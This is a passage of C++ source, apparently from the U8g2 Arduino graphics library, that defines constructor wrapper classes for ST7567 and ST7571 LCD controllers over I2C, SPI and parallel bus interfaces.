u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_2_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_HEM6432_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_hem6432_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_2_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_HEM6432_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_hem6432_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_HEM6432_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_HEM6432_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_hem6432_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_64X32_F_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_64X32_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_64x32_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_64X32_F_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_64X32_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_64x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_64X32_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_64X32_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_64x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_F_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_HEM6432_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_hem6432_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_F_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_HEM6432_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_hem6432_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_HEM6432_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_HEM6432_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_hem6432_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7571_128X128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7571_128X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7571_128X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7571_128X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X128_1_6800 : public U8G2 {\n  public: U8G2_ST7571_128X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X128_1_8080 : public U8G2 {\n  public: U8G2_ST7571_128X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7571_128X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7571_128X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7571_128X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X128_2_6800 : public U8G2 {\n  public: U8G2_ST7571_128X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X128_2_8080 : public U8G2 {\n  public: U8G2_ST7571_128X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7571_128X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7571_128X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7571_128X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X128_F_6800 : public U8G2 {\n  public: U8G2_ST7571_128X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X128_F_8080 : public U8G2 {\n  public: U8G2_ST7571_128X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X128_1_SW_I2C : public U8G2 {\n  public: U8G2_ST7571_128X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_i2c_128x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7571_128X128_1_HW_I2C : public U8G2 {\n  public: U8G2_ST7571_128X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_i2c_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7571_128X128_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7571_128X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_i2c_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7571_128X128_2_SW_I2C : public U8G2 {\n  public: U8G2_ST7571_128X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_i2c_128x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7571_128X128_2_HW_I2C : public U8G2 {\n  public: U8G2_ST7571_128X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_i2c_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7571_128X128_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7571_128X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_i2c_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7571_128X128_F_SW_I2C : public U8G2 {\n  public: U8G2_ST7571_128X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_i2c_128x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7571_128X128_F_HW_I2C : public U8G2 {\n  public: U8G2_ST7571_128X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_i2c_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7571_128X128_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7571_128X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_i2c_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7571_128X96_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7571_128X96_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x96_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X96_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7571_128X96_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X96_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7571_128X96_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X96_1_6800 : public U8G2 {\n  public: U8G2_ST7571_128X96_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x96_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X96_1_8080 : public U8G2 {\n  public: U8G2_ST7571_128X96_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x96_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X96_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7571_128X96_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x96_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X96_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7571_128X96_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X96_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7571_128X96_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X96_2_6800 : public U8G2 {\n  public: U8G2_ST7571_128X96_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x96_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X96_2_8080 : public U8G2 {\n  public: U8G2_ST7571_128X96_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x96_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X96_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7571_128X96_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x96_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X96_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7571_128X96_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X96_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7571_128X96_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X96_F_6800 : public U8G2 {\n  public: U8G2_ST7571_128X96_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x96_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X96_F_8080 : public U8G2 {\n  public: U8G2_ST7571_128X96_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_128x96_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7571_128X96_1_SW_I2C : public U8G2 {\n  public: U8G2_ST7571_128X96_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_i2c_128x96_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7571_128X96_1_HW_I2C : public U8G2 {\n  public: U8G2_ST7571_128X96_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_i2c_128x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7571_128X96_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7571_128X96_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_i2c_128x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7571_128X96_2_SW_I2C : public U8G2 {\n  public: U8G2_ST7571_128X96_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_i2c_128x96_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7571_128X96_2_HW_I2C : public U8G2 {\n  public: U8G2_ST7571_128X96_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_i2c_128x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7571_128X96_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7571_128X96_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_i2c_128x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7571_128X96_F_SW_I2C : public U8G2 {\n  public: U8G2_ST7571_128X96_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_i2c_128x96_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7571_128X96_F_HW_I2C : public U8G2 {\n  public: U8G2_ST7571_128X96_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7571_i2c_128x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7571_128X96_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7571_128X96_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    